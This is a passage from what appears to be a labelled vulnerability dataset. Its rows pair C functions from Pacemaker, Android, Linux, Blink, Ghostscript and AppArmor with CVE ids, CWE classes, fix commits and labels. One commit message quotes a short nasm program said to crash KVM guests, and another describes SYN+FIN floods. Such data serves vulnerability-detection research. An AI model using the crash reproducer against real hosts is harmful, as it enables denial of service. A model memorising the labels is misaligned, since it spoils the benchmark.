struct crm_ipc_response_header *header;
crm_ipc_init();
if (client == NULL) {
crm_notice("Invalid connection");
return -ENOTCONN;
} else if (crm_ipc_connected(client) == FALSE) {
/* Don't even bother */
crm_notice("Connection to %s closed", client->name);
return -ENOTCONN;
}
if (ms_timeout == 0) {
ms_timeout = 5000;
}
if (client->need_reply) {
crm_trace("Trying again to obtain pending reply from %s", client->name);
rc = qb_ipcc_recv(client->ipc, client->buffer, client->buf_size, ms_timeout);
if (rc < 0) {
crm_warn("Sending to %s (%p) is disabled until pending reply is received", client->name,
client->ipc);
return -EALREADY;
} else {
crm_notice("Lost reply from %s (%p) finally arrived, sending re-enabled", client->name,
client->ipc);
client->need_reply = FALSE;
}
}
id++;
CRM_LOG_ASSERT(id != 0); /* Crude wrap-around detection */
rc = crm_ipc_prepare(id, message, &iov, client->max_buf_size);
if(rc < 0) {
return rc;
}
header = iov[0].iov_base;
header->flags |= flags;
if(is_set(flags, crm_ipc_proxied)) {
/* Don't look for a synchronous response */
clear_bit(flags, crm_ipc_client_response);
}
if(header->size_compressed) {
if(factor < 10 && (client->max_buf_size / 10) < (rc / factor)) {
crm_notice("Compressed message exceeds %d0%% of the configured ipc limit (%u bytes), "
"consider setting PCMK_ipc_buffer to %u or higher",
factor, client->max_buf_size, 2 * client->max_buf_size);
factor++;
}
}
crm_trace("Sending from client: %s request id: %d bytes: %u timeout:%d msg...",
client->name, header->qb.id, header->qb.size, ms_timeout);
if (ms_timeout > 0 || is_not_set(flags, crm_ipc_client_response)) {
rc = internal_ipc_send_request(client, iov, ms_timeout);
if (rc <= 0) {
crm_trace("Failed to send from client %s request %d with %u bytes...",
client->name, header->qb.id, header->qb.size);
goto send_cleanup;
} else if (is_not_set(flags, crm_ipc_client_response)) {
crm_trace("Message sent, not waiting for reply to %d from %s to %u bytes...",
header->qb.id, client->name, header->qb.size);
goto send_cleanup;
}
rc = internal_ipc_get_reply(client, header->qb.id, ms_timeout);
if (rc < 0) {
/* No reply, for now, disable sending
*
* The alternative is to close the connection since we don't know
* how to detect and discard out-of-sequence replies
*
* TODO - implement the above
*/
client->need_reply = TRUE;
}
} else {
rc = internal_ipc_send_recv(client, iov);
}
if (rc > 0) {
struct crm_ipc_response_header *hdr = (struct crm_ipc_response_header *)(void*)client->buffer;
crm_trace("Received response %d, size=%u, rc=%ld, text: %.200s", hdr->qb.id, hdr->qb.size,
rc, crm_ipc_buffer(client));
if (reply) {
*reply = string2xml(crm_ipc_buffer(client));
}
} else {
crm_trace("Response not received: rc=%ld, errno=%d", rc, errno);
}
send_cleanup:
if (crm_ipc_connected(client) == FALSE) {
crm_notice("Connection to %s closed: %s (%ld)", client->name, pcmk_strerror(rc), rc);
} else if (rc == -ETIMEDOUT) {
crm_warn("Request %d to %s (%p) failed: %s (%ld) after %dms",
header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc, ms_timeout);
crm_write_blackbox(0, NULL);
} else if (rc <= 0) {
crm_warn("Request %d to %s (%p) failed: %s (%ld)",
header->qb.id, client->name, client->ipc, pcmk_strerror(rc), rc);
}
free(header);
free(iov[1].iov_base);
free(iov);
return rc;
}
|
C
|
pacemaker
| 0 |
CVE-2016-0826
|
https://www.cvedetails.com/cve/CVE-2016-0826/
|
CWE-264
|
https://android.googlesource.com/platform/frameworks/av/+/c9ab2b0bb05a7e19fb057e79b36e232809d70122
|
c9ab2b0bb05a7e19fb057e79b36e232809d70122
|
Camera: Disallow dumping clients directly
Camera service dumps should only be initiated through
ICameraService::dump.
Bug: 26265403
Change-Id: If3ca4718ed74bf33ad8a416192689203029e2803
|
void CameraDeviceClient::notifyError() {
sp<ICameraDeviceCallbacks> remoteCb = getRemoteCallback();
if (remoteCb != 0) {
remoteCb->onDeviceError(ICameraDeviceCallbacks::ERROR_CAMERA_DEVICE);
}
}
|
void CameraDeviceClient::notifyError() {
sp<ICameraDeviceCallbacks> remoteCb = getRemoteCallback();
if (remoteCb != 0) {
remoteCb->onDeviceError(ICameraDeviceCallbacks::ERROR_CAMERA_DEVICE);
}
}
|
C
|
Android
| 0 |
CVE-2016-2476
|
https://www.cvedetails.com/cve/CVE-2016-2476/
|
CWE-119
|
https://android.googlesource.com/platform/frameworks/av/+/94d9e646454f6246bf823b6897bd6aea5f08eda3
|
94d9e646454f6246bf823b6897bd6aea5f08eda3
|
Fix initialization of AAC presentation struct
Otherwise the new size checks trip on this.
Bug: 27207275
Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766
|
void ACodec::notifyOfRenderedFrames(bool dropIncomplete, FrameRenderTracker::Info *until) {
sp<AMessage> msg = mNotify->dup();
msg->setInt32("what", CodecBase::kWhatOutputFramesRendered);
std::list<FrameRenderTracker::Info> done =
mRenderTracker.checkFencesAndGetRenderedFrames(until, dropIncomplete);
for (std::list<FrameRenderTracker::Info>::const_iterator it = done.cbegin();
it != done.cend(); ++it) {
ssize_t index = it->getIndex();
if (index >= 0 && (size_t)index < mBuffers[kPortIndexOutput].size()) {
mBuffers[kPortIndexOutput].editItemAt(index).mRenderInfo = NULL;
} else if (index >= 0) {
ALOGE("invalid index %zd in %zu", index, mBuffers[kPortIndexOutput].size());
}
}
if (MediaCodec::CreateFramesRenderedMessage(done, msg)) {
msg->post();
}
}
|
void ACodec::notifyOfRenderedFrames(bool dropIncomplete, FrameRenderTracker::Info *until) {
sp<AMessage> msg = mNotify->dup();
msg->setInt32("what", CodecBase::kWhatOutputFramesRendered);
std::list<FrameRenderTracker::Info> done =
mRenderTracker.checkFencesAndGetRenderedFrames(until, dropIncomplete);
for (std::list<FrameRenderTracker::Info>::const_iterator it = done.cbegin();
it != done.cend(); ++it) {
ssize_t index = it->getIndex();
if (index >= 0 && (size_t)index < mBuffers[kPortIndexOutput].size()) {
mBuffers[kPortIndexOutput].editItemAt(index).mRenderInfo = NULL;
} else if (index >= 0) {
ALOGE("invalid index %zd in %zu", index, mBuffers[kPortIndexOutput].size());
}
}
if (MediaCodec::CreateFramesRenderedMessage(done, msg)) {
msg->post();
}
}
|
C
|
Android
| 0 |
CVE-2012-6638
|
https://www.cvedetails.com/cve/CVE-2012-6638/
|
CWE-399
|
https://github.com/torvalds/linux/commit/fdf5af0daf8019cec2396cdef8fb042d80fe71fa
|
fdf5af0daf8019cec2396cdef8fb042d80fe71fa
|
tcp: drop SYN+FIN messages
Denys Fedoryshchenko reported that SYN+FIN attacks were bringing his
linux machines to their limits.
Dont call conn_request() if the TCP flags includes SYN flag
Reported-by: Denys Fedoryshchenko <denys@visp.net.lb>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
static int tcp_clean_rtx_queue(struct sock *sk, int prior_fackets,
u32 prior_snd_una)
{
struct tcp_sock *tp = tcp_sk(sk);
const struct inet_connection_sock *icsk = inet_csk(sk);
struct sk_buff *skb;
u32 now = tcp_time_stamp;
int fully_acked = 1;
int flag = 0;
u32 pkts_acked = 0;
u32 reord = tp->packets_out;
u32 prior_sacked = tp->sacked_out;
s32 seq_rtt = -1;
s32 ca_seq_rtt = -1;
ktime_t last_ackt = net_invalid_timestamp();
while ((skb = tcp_write_queue_head(sk)) && skb != tcp_send_head(sk)) {
struct tcp_skb_cb *scb = TCP_SKB_CB(skb);
u32 acked_pcount;
u8 sacked = scb->sacked;
/* Determine how many packets and what bytes were acked, tso and else */
if (after(scb->end_seq, tp->snd_una)) {
if (tcp_skb_pcount(skb) == 1 ||
!after(tp->snd_una, scb->seq))
break;
acked_pcount = tcp_tso_acked(sk, skb);
if (!acked_pcount)
break;
fully_acked = 0;
} else {
acked_pcount = tcp_skb_pcount(skb);
}
if (sacked & TCPCB_RETRANS) {
if (sacked & TCPCB_SACKED_RETRANS)
tp->retrans_out -= acked_pcount;
flag |= FLAG_RETRANS_DATA_ACKED;
ca_seq_rtt = -1;
seq_rtt = -1;
if ((flag & FLAG_DATA_ACKED) || (acked_pcount > 1))
flag |= FLAG_NONHEAD_RETRANS_ACKED;
} else {
ca_seq_rtt = now - scb->when;
last_ackt = skb->tstamp;
if (seq_rtt < 0) {
seq_rtt = ca_seq_rtt;
}
if (!(sacked & TCPCB_SACKED_ACKED))
reord = min(pkts_acked, reord);
}
if (sacked & TCPCB_SACKED_ACKED)
tp->sacked_out -= acked_pcount;
if (sacked & TCPCB_LOST)
tp->lost_out -= acked_pcount;
tp->packets_out -= acked_pcount;
pkts_acked += acked_pcount;
/* Initial outgoing SYN's get put onto the write_queue
* just like anything else we transmit. It is not
* true data, and if we misinform our callers that
* this ACK acks real data, we will erroneously exit
* connection startup slow start one packet too
* quickly. This is severely frowned upon behavior.
*/
if (!(scb->tcp_flags & TCPHDR_SYN)) {
flag |= FLAG_DATA_ACKED;
} else {
flag |= FLAG_SYN_ACKED;
tp->retrans_stamp = 0;
}
if (!fully_acked)
break;
tcp_unlink_write_queue(skb, sk);
sk_wmem_free_skb(sk, skb);
tp->scoreboard_skb_hint = NULL;
if (skb == tp->retransmit_skb_hint)
tp->retransmit_skb_hint = NULL;
if (skb == tp->lost_skb_hint)
tp->lost_skb_hint = NULL;
}
if (likely(between(tp->snd_up, prior_snd_una, tp->snd_una)))
tp->snd_up = tp->snd_una;
if (skb && (TCP_SKB_CB(skb)->sacked & TCPCB_SACKED_ACKED))
flag |= FLAG_SACK_RENEGING;
if (flag & FLAG_ACKED) {
const struct tcp_congestion_ops *ca_ops
= inet_csk(sk)->icsk_ca_ops;
if (unlikely(icsk->icsk_mtup.probe_size &&
!after(tp->mtu_probe.probe_seq_end, tp->snd_una))) {
tcp_mtup_probe_success(sk);
}
tcp_ack_update_rtt(sk, flag, seq_rtt);
tcp_rearm_rto(sk);
if (tcp_is_reno(tp)) {
tcp_remove_reno_sacks(sk, pkts_acked);
} else {
int delta;
/* Non-retransmitted hole got filled? That's reordering */
if (reord < prior_fackets)
tcp_update_reordering(sk, tp->fackets_out - reord, 0);
delta = tcp_is_fack(tp) ? pkts_acked :
prior_sacked - tp->sacked_out;
tp->lost_cnt_hint -= min(tp->lost_cnt_hint, delta);
}
tp->fackets_out -= min(pkts_acked, tp->fackets_out);
if (ca_ops->pkts_acked) {
s32 rtt_us = -1;
/* Is the ACK triggering packet unambiguous? */
if (!(flag & FLAG_RETRANS_DATA_ACKED)) {
/* High resolution needed and available? */
if (ca_ops->flags & TCP_CONG_RTT_STAMP &&
!ktime_equal(last_ackt,
net_invalid_timestamp()))
rtt_us = ktime_us_delta(ktime_get_real(),
last_ackt);
else if (ca_seq_rtt >= 0)
rtt_us = jiffies_to_usecs(ca_seq_rtt);
}
ca_ops->pkts_acked(sk, pkts_acked, rtt_us);
}
}
#if FASTRETRANS_DEBUG > 0
WARN_ON((int)tp->sacked_out < 0);
WARN_ON((int)tp->lost_out < 0);
WARN_ON((int)tp->retrans_out < 0);
if (!tp->packets_out && tcp_is_sack(tp)) {
icsk = inet_csk(sk);
if (tp->lost_out) {
printk(KERN_DEBUG "Leak l=%u %d\n",
tp->lost_out, icsk->icsk_ca_state);
tp->lost_out = 0;
}
if (tp->sacked_out) {
printk(KERN_DEBUG "Leak s=%u %d\n",
tp->sacked_out, icsk->icsk_ca_state);
tp->sacked_out = 0;
}
if (tp->retrans_out) {
printk(KERN_DEBUG "Leak r=%u %d\n",
tp->retrans_out, icsk->icsk_ca_state);
tp->retrans_out = 0;
}
}
#endif
return flag;
}
|
static int tcp_clean_rtx_queue(struct sock *sk, int prior_fackets,
u32 prior_snd_una)
{
struct tcp_sock *tp = tcp_sk(sk);
const struct inet_connection_sock *icsk = inet_csk(sk);
struct sk_buff *skb;
u32 now = tcp_time_stamp;
int fully_acked = 1;
int flag = 0;
u32 pkts_acked = 0;
u32 reord = tp->packets_out;
u32 prior_sacked = tp->sacked_out;
s32 seq_rtt = -1;
s32 ca_seq_rtt = -1;
ktime_t last_ackt = net_invalid_timestamp();
while ((skb = tcp_write_queue_head(sk)) && skb != tcp_send_head(sk)) {
struct tcp_skb_cb *scb = TCP_SKB_CB(skb);
u32 acked_pcount;
u8 sacked = scb->sacked;
/* Determine how many packets and what bytes were acked, tso and else */
if (after(scb->end_seq, tp->snd_una)) {
if (tcp_skb_pcount(skb) == 1 ||
!after(tp->snd_una, scb->seq))
break;
acked_pcount = tcp_tso_acked(sk, skb);
if (!acked_pcount)
break;
fully_acked = 0;
} else {
acked_pcount = tcp_skb_pcount(skb);
}
if (sacked & TCPCB_RETRANS) {
if (sacked & TCPCB_SACKED_RETRANS)
tp->retrans_out -= acked_pcount;
flag |= FLAG_RETRANS_DATA_ACKED;
ca_seq_rtt = -1;
seq_rtt = -1;
if ((flag & FLAG_DATA_ACKED) || (acked_pcount > 1))
flag |= FLAG_NONHEAD_RETRANS_ACKED;
} else {
ca_seq_rtt = now - scb->when;
last_ackt = skb->tstamp;
if (seq_rtt < 0) {
seq_rtt = ca_seq_rtt;
}
if (!(sacked & TCPCB_SACKED_ACKED))
reord = min(pkts_acked, reord);
}
if (sacked & TCPCB_SACKED_ACKED)
tp->sacked_out -= acked_pcount;
if (sacked & TCPCB_LOST)
tp->lost_out -= acked_pcount;
tp->packets_out -= acked_pcount;
pkts_acked += acked_pcount;
/* Initial outgoing SYN's get put onto the write_queue
* just like anything else we transmit. It is not
* true data, and if we misinform our callers that
* this ACK acks real data, we will erroneously exit
* connection startup slow start one packet too
* quickly. This is severely frowned upon behavior.
*/
if (!(scb->tcp_flags & TCPHDR_SYN)) {
flag |= FLAG_DATA_ACKED;
} else {
flag |= FLAG_SYN_ACKED;
tp->retrans_stamp = 0;
}
if (!fully_acked)
break;
tcp_unlink_write_queue(skb, sk);
sk_wmem_free_skb(sk, skb);
tp->scoreboard_skb_hint = NULL;
if (skb == tp->retransmit_skb_hint)
tp->retransmit_skb_hint = NULL;
if (skb == tp->lost_skb_hint)
tp->lost_skb_hint = NULL;
}
if (likely(between(tp->snd_up, prior_snd_una, tp->snd_una)))
tp->snd_up = tp->snd_una;
if (skb && (TCP_SKB_CB(skb)->sacked & TCPCB_SACKED_ACKED))
flag |= FLAG_SACK_RENEGING;
if (flag & FLAG_ACKED) {
const struct tcp_congestion_ops *ca_ops
= inet_csk(sk)->icsk_ca_ops;
if (unlikely(icsk->icsk_mtup.probe_size &&
!after(tp->mtu_probe.probe_seq_end, tp->snd_una))) {
tcp_mtup_probe_success(sk);
}
tcp_ack_update_rtt(sk, flag, seq_rtt);
tcp_rearm_rto(sk);
if (tcp_is_reno(tp)) {
tcp_remove_reno_sacks(sk, pkts_acked);
} else {
int delta;
/* Non-retransmitted hole got filled? That's reordering */
if (reord < prior_fackets)
tcp_update_reordering(sk, tp->fackets_out - reord, 0);
delta = tcp_is_fack(tp) ? pkts_acked :
prior_sacked - tp->sacked_out;
tp->lost_cnt_hint -= min(tp->lost_cnt_hint, delta);
}
tp->fackets_out -= min(pkts_acked, tp->fackets_out);
if (ca_ops->pkts_acked) {
s32 rtt_us = -1;
/* Is the ACK triggering packet unambiguous? */
if (!(flag & FLAG_RETRANS_DATA_ACKED)) {
/* High resolution needed and available? */
if (ca_ops->flags & TCP_CONG_RTT_STAMP &&
!ktime_equal(last_ackt,
net_invalid_timestamp()))
rtt_us = ktime_us_delta(ktime_get_real(),
last_ackt);
else if (ca_seq_rtt >= 0)
rtt_us = jiffies_to_usecs(ca_seq_rtt);
}
ca_ops->pkts_acked(sk, pkts_acked, rtt_us);
}
}
#if FASTRETRANS_DEBUG > 0
WARN_ON((int)tp->sacked_out < 0);
WARN_ON((int)tp->lost_out < 0);
WARN_ON((int)tp->retrans_out < 0);
if (!tp->packets_out && tcp_is_sack(tp)) {
icsk = inet_csk(sk);
if (tp->lost_out) {
printk(KERN_DEBUG "Leak l=%u %d\n",
tp->lost_out, icsk->icsk_ca_state);
tp->lost_out = 0;
}
if (tp->sacked_out) {
printk(KERN_DEBUG "Leak s=%u %d\n",
tp->sacked_out, icsk->icsk_ca_state);
tp->sacked_out = 0;
}
if (tp->retrans_out) {
printk(KERN_DEBUG "Leak r=%u %d\n",
tp->retrans_out, icsk->icsk_ca_state);
tp->retrans_out = 0;
}
}
#endif
return flag;
}
|
C
|
linux
| 0 |
CVE-2013-0904
|
https://www.cvedetails.com/cve/CVE-2013-0904/
|
CWE-119
|
https://github.com/chromium/chromium/commit/b2b21468c1f7f08b30a7c1755316f6026c50eb2a
|
b2b21468c1f7f08b30a7c1755316f6026c50eb2a
|
Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
LayoutUnit RenderBlock::lineHeight(bool firstLine, LineDirectionMode direction, LinePositionMode linePositionMode) const
{
if (isReplaced() && linePositionMode == PositionOnContainingLine)
return RenderBox::lineHeight(firstLine, direction, linePositionMode);
if (firstLine && document().styleEngine()->usesFirstLineRules()) {
RenderStyle* s = style(firstLine);
if (s != style())
return s->computedLineHeight();
}
if (m_lineHeight == -1)
m_lineHeight = style()->computedLineHeight();
return m_lineHeight;
}
|
LayoutUnit RenderBlock::lineHeight(bool firstLine, LineDirectionMode direction, LinePositionMode linePositionMode) const
{
if (isReplaced() && linePositionMode == PositionOnContainingLine)
return RenderBox::lineHeight(firstLine, direction, linePositionMode);
if (firstLine && document().styleEngine()->usesFirstLineRules()) {
RenderStyle* s = style(firstLine);
if (s != style())
return s->computedLineHeight();
}
if (m_lineHeight == -1)
m_lineHeight = style()->computedLineHeight();
return m_lineHeight;
}
|
C
|
Chrome
| 0 |
CVE-2016-10218
|
https://www.cvedetails.com/cve/CVE-2016-10218/
|
CWE-476
|
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=d621292fb2c8157d9899dcd83fd04dd250e30fe4
|
d621292fb2c8157d9899dcd83fd04dd250e30fe4
| null |
pdf14_pop_parent_color(gx_device *dev, const gs_gstate *pgs)
{
pdf14_device *pdev = (pdf14_device *)dev;
pdf14_parent_color_t *old_parent_color_info = pdev->trans_group_parent_cmap_procs;
if_debug0m('v', dev->memory, "[v]pdf14_pop_parent_color\n");
/* We need to compliment pdf14_push_parent color */
if (old_parent_color_info->icc_profile != NULL)
rc_decrement(old_parent_color_info->icc_profile, "pdf14_pop_parent_color");
/* Update the link */
pdev->trans_group_parent_cmap_procs = old_parent_color_info->previous;
/* Free the old one */
gs_free_object(dev->memory, old_parent_color_info, "pdf14_clr_free");
}
|
pdf14_pop_parent_color(gx_device *dev, const gs_gstate *pgs)
{
pdf14_device *pdev = (pdf14_device *)dev;
pdf14_parent_color_t *old_parent_color_info = pdev->trans_group_parent_cmap_procs;
if_debug0m('v', dev->memory, "[v]pdf14_pop_parent_color\n");
/* We need to compliment pdf14_push_parent color */
if (old_parent_color_info->icc_profile != NULL)
rc_decrement(old_parent_color_info->icc_profile, "pdf14_pop_parent_color");
/* Update the link */
pdev->trans_group_parent_cmap_procs = old_parent_color_info->previous;
/* Free the old one */
gs_free_object(dev->memory, old_parent_color_info, "pdf14_clr_free");
}
|
C
|
ghostscript
| 0 |
CVE-2012-0045
|
https://www.cvedetails.com/cve/CVE-2012-0045/
| null |
https://github.com/torvalds/linux/commit/c2226fc9e87ba3da060e47333657cd6616652b84
|
c2226fc9e87ba3da060e47333657cd6616652b84
|
KVM: x86: fix missing checks in syscall emulation
On hosts without this patch, 32bit guests will crash (and 64bit guests
may behave in a wrong way) for example by simply executing following
nasm-demo-application:
[bits 32]
global _start
SECTION .text
_start: syscall
(I tested it with winxp and linux - both always crashed)
Disassembly of section .text:
00000000 <_start>:
0: 0f 05 syscall
The reason seems a missing "invalid opcode"-trap (int6) for the
syscall opcode "0f05", which is not available on Intel CPUs
within non-longmodes, as also on some AMD CPUs within legacy-mode.
(depending on CPU vendor, MSR_EFER and cpuid)
Because previous mentioned OSs may not engage corresponding
syscall target-registers (STAR, LSTAR, CSTAR), they remain
NULL and (non trapping) syscalls are leading to multiple
faults and finally crashs.
Depending on the architecture (AMD or Intel) pretended by
guests, various checks according to vendor's documentation
are implemented to overcome the current issue and behave
like the CPUs physical counterparts.
[mtosatti: cleanup/beautify code]
Signed-off-by: Stephan Baerwolf <stephan.baerwolf@tu-ilmenau.de>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
|
static int em_mul_ex(struct x86_emulate_ctxt *ctxt)
{
u8 ex = 0;
emulate_1op_rax_rdx(ctxt, "mul", ex);
return X86EMUL_CONTINUE;
}
|
static int em_mul_ex(struct x86_emulate_ctxt *ctxt)
{
u8 ex = 0;
emulate_1op_rax_rdx(ctxt, "mul", ex);
return X86EMUL_CONTINUE;
}
|
C
|
linux
| 0 |
CVE-2011-3619
|
https://www.cvedetails.com/cve/CVE-2011-3619/
|
CWE-20
|
https://github.com/torvalds/linux/commit/a5b2c5b2ad5853591a6cac6134cd0f599a720865
|
a5b2c5b2ad5853591a6cac6134cd0f599a720865
|
AppArmor: fix oops in apparmor_setprocattr
When invalid parameters are passed to apparmor_setprocattr a NULL deref
oops occurs when it tries to record an audit message. This is because
it is passing NULL for the profile parameter for aa_audit. But aa_audit
now requires that the profile passed is not NULL.
Fix this by passing the current profile on the task that is trying to
setprocattr.
Signed-off-by: Kees Cook <kees@ubuntu.com>
Signed-off-by: John Johansen <john.johansen@canonical.com>
Cc: stable@kernel.org
Signed-off-by: James Morris <jmorris@namei.org>
|
static int apparmor_file_mprotect(struct vm_area_struct *vma,
unsigned long reqprot, unsigned long prot)
{
return common_mmap(OP_FMPROT, vma->vm_file, prot,
!(vma->vm_flags & VM_SHARED) ? MAP_PRIVATE : 0);
}
|
static int apparmor_file_mprotect(struct vm_area_struct *vma,
unsigned long reqprot, unsigned long prot)
{
return common_mmap(OP_FMPROT, vma->vm_file, prot,
!(vma->vm_flags & VM_SHARED) ? MAP_PRIVATE : 0);
}
|
C
|
linux
| 0 |
Subsets and Splits
CWE-119 Function Changes
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